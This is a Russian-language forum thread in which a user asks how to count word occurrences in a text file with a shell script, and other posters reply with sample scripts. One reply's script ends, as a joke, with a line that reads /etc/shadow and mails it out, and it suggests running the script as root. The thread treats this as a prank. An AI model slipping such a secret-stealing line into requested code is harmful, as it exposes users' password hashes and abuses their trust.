Срипт на шелле
2661
13
Если есть люди сведующие в шелле, то подскажите идеологически как реализовать скрипт, кторому надо будет подсовывать текстовый файл, а он выдавать количество вхождений по каждому из слов которое есть в этом файле.
Можно использовать стандартные утилитки (какие ?).

Заранее спасибо.
Johnnie
В смысле разбить текст на уникальные слова и посчитать их?
Anomander
Именно. Брать от пробела до пробела (или символа табуляции, перевода каретки (/n)), смотреть есть в массиве такое слово, если есть увлечить счетчик этого слова на 1, иначе внести слово. Мелочи типа что после слова может следовать запятая не особо важны.
На Си я хорошо представляю себе как это реализовать, а вот на шелле ?????
Johnnie
берешь perl и пишешь прогу с использованием регулярных выражений...
:улыб:
Johnnie
Можно использовать стандартные утилитки (какие ?).
RTFM grep
Max_13
Откусывать по одному слову и складывать в hash-массив....
Well
Прочитал ман по грепу. Сейчас пытаюсь сделать используя man и sed.
Johnnie
Ничего не получается (
Буду рад конкретным примерам.
Johnnie
например, так:
_______________________________________

#!/bin/sh
#

str2wrds(){
if [ $# -gt 0 ] ; then
for j in $@
do
echo $j
done
fi
}

fl2wrds0(){
if [ $# -gt 0 ] ; then
cat "$1" | while read
do
if [ -n "$REPLY" ] ; then
str2wrds "$REPLY"
fi
done
fi
}

fl2wrds(){
if [ $# -gt 0 ] ; then
fl2wrds0 "$1" | sort
echo " "
fi
}

USAGE="usage: `basename $0` file"

if [ $# -lt 1 ] ; then
echo "$USAGE"
exit 1
fi

lstwrd=
cnt=0

fl2wrds "$1" | while read
do
if [ "$lstwrd" == "$REPLY" ] ; then
cnt=$(( $cnt + 1 ))
else
if [ -n "$lstwrd" ] ; then
echo "$lstwrd" --- $cnt
fi
cnt=1
lstwrd="$REPLY"
fi
done

(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
____________________________________________

только:
1. разберись, что тут к чему (man bash, man sort, man mail,
man "еще чего-нибудь про программирование в шеле"), и убери
лишнее
2. если плохо разобрался, запускай от рута, чтобы не было ошибок
3. "мелочи типа что после слова может следовать запятая" в этом коде не
учитываются, если надо, дорабатывай сам
4. тестировался скрипт совсем слабо, можно сказать, совсем не тестировался
ugly
Огромное спасибо за помощь. :улыб:
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
:ха-ха!: :ха-ха!: :ха-ха!: :ха-ха!: :ха-ха!:
Я конечно не гений Юникса, но про теневые файлы паролей, мэйл и лупбэки имею понятие :улыб:
Johnnie
Вань, про loopback - маразм написал.
Эта строка - чистый стеб:миг:Если не в курсе, то поищи в Яндексе, кто такой Кевин Митник:улыб:
Johnnie
Сегодня утром посидел, благо выходной, подумал над твоим вопросом и написал следующее:

#!/bin/sh
# Desc : program counts word in file

case $# in
2)
echo "Word $1 in file $2 : "

count=`cat $2 | tr -cs "[:alpha:]" "\n" | grep $1 | wc -l`
echo $count

exit 0;
;;
*)
echo "Usage :" `basename $0` "word file"
exit 1
;;
esac

Смысл всего этого заключен буквально в одной строке:миг:
Johnnie
P.S. Скрипт реализует задание которое ты спрашивал в аське (по крайней мере, как я его тогда понял), а не то, что ты сейчас спрашиваешь на форуме.
SibProgrammer
Я знаю кто такой Митник :улыб::)